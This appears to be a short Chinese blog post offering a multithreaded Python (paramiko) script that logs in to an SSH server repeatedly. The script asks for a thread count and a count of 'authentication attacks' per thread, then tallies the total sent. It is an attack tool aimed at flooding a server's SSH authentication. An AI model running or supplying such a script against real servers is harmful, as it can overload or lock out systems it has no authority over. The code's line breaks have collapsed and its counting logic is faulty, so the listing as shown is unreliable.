对python多线程SSH登录并发脚本详解

# -*- coding: utf-8 -*-import paramikoimport threadingimport timelt = []def ssh(a,xh,sp): count = 0 for i in range(0,xh):  try:   ssh = paramiko.SSHClient()   ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())   ssh.connect('ip地址',22,'用户名', '密码')   ssh.close()   print u"线程[%s]第[%s]次登录"%(a,i)   if sp != 0:    time.sleep(sp)   count += 1  except:   print u"线程异常，已处理" lt.append(count)  if __name__ == "__main__": figlet = '''   _____ _____ _   | ___| | _ / | |   | |__ | |_| | | |   | __| | _ { | |   | |  | |_| | | |   |_|  |_____/ |_|     Code by FBI.   ''' print figlet print u"认证攻击次数=线程数*每个线程认证攻击次数" print u"请输入线程数:" xc = raw_input() print u"请输入每个线程攻击次数:" xh = raw_input() print u"请输入每个线程延迟时间(秒)，0为不休眠:" sp = raw_input() try:  print u"预计总共发送认证攻击%s次"%(int(xc)*int(xh))  threads = []  for j in range(int(xc)):   threads.append(threading.Thread(target=ssh,args=(j,int(xh),int(sp),)))  for t in threads:   t.start()   print t.name   t.join()   print lt  count = 0  for count in lt:   count += count  print u"程序执行完毕总共发送认证攻击【%s】次" % count except ValueError,e:  print u"因为输入不规范导致程序出现错误，请输入数字"